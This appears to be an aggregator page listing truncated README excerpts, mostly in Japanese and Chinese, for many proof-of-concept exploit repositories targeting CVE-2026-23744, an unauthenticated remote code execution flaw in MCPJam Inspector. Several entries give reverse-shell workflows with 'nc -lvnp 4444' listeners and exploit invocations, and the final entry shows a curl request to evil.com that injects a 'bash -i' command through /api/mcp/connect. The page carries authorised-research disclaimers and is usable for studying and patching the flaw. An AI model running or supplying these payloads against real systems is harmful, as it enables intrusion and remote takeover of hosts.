CVE-2026-23744-PoC

CVE-2026-23744-PoC 免責事項: この概念実証コードは、許可を得たセキュリティ研究、教育目的、および管理されたラボ環境（例: HTB、CTF、明示的な書面による同意を得た社内ペネトレーションテスト）専用 に提供されています。許可なくいかなるシステムに対しても使用することは違法かつ非倫理的です。作者は悪用によって生じるいかなる責任も負いません。利用者は、適用されるすべての法律および規制を遵守する単独の責任を負います。 説明 CVE-2026-23744 は、MCPJam Inspector（バージョン ≤ 1.4.2）における認証不要のコマンドインジェクションの脆弱性です。...

CVE-2026-23744

CVE-2026-23744: @mcpjam/inspector における認証なしリモートコード実行 免責事項: このリポジトリおよび関連スクリプトは、許可されたセキュリティ評価、ペネトレーションテスト、セキュリティ研究、および教育目的の分析のみを目的としています。明示的な書面による同意なしにシステムを不正にテストすることは違法であり、固く禁止されています。著者は、本資料の誤解または誤用に対して一切の責任を負いません。 脆弱性の概要 プロパティ| 詳細 ---|--- CVE ID| CVE-2026-23744 CVSS スコア| 9.8 Critical 脆弱性クラス|...

mcpExec

mcpExec は、脆弱な MCPJam Inspector インストールの URL を用いて CVE-2026-23744 を悪用し、リバースシェルを取得するツールです。 インストール root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip install argparse pip install requests chmod +x mcpExec.p...

CVE-2026-23744-PoC

描述 MCPJam inspector 是面向 MCP 服务器的本地优先开发平台。1.4.2 及更早版本存在远程代码执行（RCE）漏洞，攻击者可发送精心构造的 HTTP 请求，触发 MCP 服务器的安装，从而导致 RCE。由于 MCPJam inspector 默认监听 0.0.0.0 而非 127.0.0.1，攻击者可通过简单的 HTTP 请求远程触发 RCE。1.4.3 版本已包含修复补丁。 受影响版本 漏洞来源| 受影响版本| 已修补版本 ---|---|--- @mcpjam/inspector| 'id /tmp/mcpjampwned.txt' 截图 !\Pasted ima...

MCPJam Inspector - Remote Code Execution

MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...

PoC-CVE-2026-23744

PoC-CVE-2026-23744 MCPJam Inspector 参考 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...

CVE-2026-23744-Remote-Code-Execution-POC

CVE-2026-23744 - MCPJam inspector リモートコード実行: 概念実証 POC MCPJam inspector 3. エクスプロイトを実行します root@kitploit: python3 exploit.py...

CVE-2026-23744-Lab

CVE-2026-23744 – MCPJam Inspector Docker Lab このリポジトリは、CVE-2026-23744 に対する MCPJam Inspector の脆弱なビルドとパッチ適用済みビルドを比較 するための小さな Docker ラボです。 学習目的と公開セキュリティポートフォリオの構築を目的としています。セットアップが簡単で、明確な証拠とスクリーンショットを提供します。 ⚠️ 倫理 / 適用範囲 : 所有しているシステム、または明示的なテスト許可があるシステムでのみテストしてください。このリポジトリはローカルでの再現と文書化を目的としています。...

exploit-CVE-2026-23744

exploit-CVE-2026-23744 MCPJam Inspectorは、MCPサーバー向けのローカルファースト開発プラットフォームです。バージョン1.4.2（およびそれ以前）では、サービスがデフォルトで0.0.0.0（127.0.0.1ではなく）で待ち受けるため、攻撃者が細工したHTTPリクエストを送信してMCPサーバーをインストールし、リモートでコードを実行できるRCEの脆弱性が存在します。 実行方法: 1. 対応するポートとIPを設定する 2. 攻撃者マシン上でリスナーをセットアップする（例: "nc -lvnp 4444"、または任意の攻撃者ポート） 3. コマンド...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 MCPJam inspector = 1.4.2 におけるRCE 脆弱性の詳細 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 使用方法 root@kitploit: usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message an...

CVE-2026-23744-POC

描述 此漏洞的存在是因为 MCPJam Inspector 暴露了用于调试和开发的内部 API 端点。这些端点接受用户控制的输入，并将其直接传递给系统级进程执行，而无需进行适当的验证或清理。 通过向易受攻击的端点（/api/mcp/connect）发送精心构造的请求，攻击者可以控制 serverConfig 对象，并指定要在主机上执行的任意命令。 该应用程序尝试根据用户输入生成一个进程，并将其视为有效的 MCP 服务器。然而，由于缺乏输入验证，此行为可能被滥用，以执行任意系统命令。 工作原理 该漏洞利用以下逻辑： 1. 后端接受包含以下内容的 JSON 负载： command args...

CVE-2026-23744

CVE-2026-23744 – 概念実証（PoC） このPoC内のPythonスクリプトは、MCPJam inspector（バージョン リスニングポートに置き換えてください 次に、別のシェルを開いてPoCを実行します: root@kitploit: cd CVE-2026-23744 python3 exploit.py 参照 MCPJam inspectorのHTTPエンドポイント公開によるRCE GHSA-232v-j27c-5pp6 MCPJam/inspector@e6b9cf9...

CVE-2026-23744

CVE-2026-23744 MCPJam Inspector ライブラリのインストール: pip install -r requirements.txt - 情報を確認するには python CVE-2026-23744 --help を使用 MCPJam inspector は、MCP サーバー向けのローカルファースト開発プラットフォームです。最新バージョン 1.4.2 以前はリモートコード実行（RCE）の脆弱性の影響を受け、攻撃者が細工した HTTP リクエストを送信することで MCP サーバーのインストールがトリガーされ、RCE に至る可能性があります。 この脆弱性は...

CVE-2026-23744-script

CVE-2026-23744用のスクリプトです。MCPJam Inspector（バージョン = 1.4.2）を悪用します。ここで使用されているcurlコマンドに基づいています： https://github.com/advisories/GHSA-232v-j27c-5pp6 /etc/hostsファイルが正しく、ターゲットのドメイン/vhostを指していることを確認してください。...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector の未認証 RCE MCPJam Inspector -i -p -m リバースシェルの例 ステップ 1 — リスナーを起動: root@kitploit: nc -lvnp 4444 ステップ 2 — エクスプロイトを実行: root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash ペイロード方式 ターゲット上で busybox が動作しない場合は、他の方式を試してください:...

cve-2026-23744

CVE-2026-23744 – MCPJam Inspector の未認証リモートコード実行 RCE 説明 製品 : MCPJam Inspector 影響を受けるバージョン : ≤ 1.4.2 修正バージョン : 1.4.3 タイプ : 未認証リモートコード実行 RCE 攻撃ベクトル : ネットワーク 必要な認証 : なし 必要なユーザー操作 : なし CVSS v3.1 : 9.8 Critical CVE-2026-23744 は、MCPJam Inspector ≤ 1.4.2 に影響する重大な未認証リモートコード実行 RCE の脆弱性です。この問題は、Inspector...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

Kali Linux上 - ターミナル1 nc -lvnp 4444 Kali Linux上 - ターミナル2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector の認証不要のリモートコード実行 RCE CVE-2026-23744 の認証不要リモートコード実行 PoC。MCPJam Inspector 1.4.2 以前では、/api/mcp/connect を通じて、攻撃者が制御する MCP サーバーコマンドを認証なしで起動できる機能が公開されています。 許可されたテストおよび研究目的に限ります。自分が所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。 機能 root@kitploit: HTTP POST - /api/mcp/conne...

DevHub-HTB-Walkthrough

DevHub – HTB ウォークスルー Medium Linux マシン: DevHub 難易度: Medium OS: Linux トピック: CVE-2026-23744, Chisel トンネリング, Jupyter, Flask API, Root 権限昇格 📌 1. 偵察 root@kitploit: nmap -sC -sV devhub.htb 結果: root@kitploit: Port 22 SSH Port 80 HTTP Port 6274 MCPJam Inspector 📌 2. hosts ファイルの編集 echo "10.x.x.x devhub.htb...

CVE-2026-23744-PoC

CVE-2026-23744-PoC MCP Server の脆弱性に関する PoC。 適切な本文を持つ投稿部分を自動化しました。 脆弱なパス: root@kitploit: /api/mcp/connect curl による方法: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '"serverConfig":"command":"bash","args":"-c","bash -i &...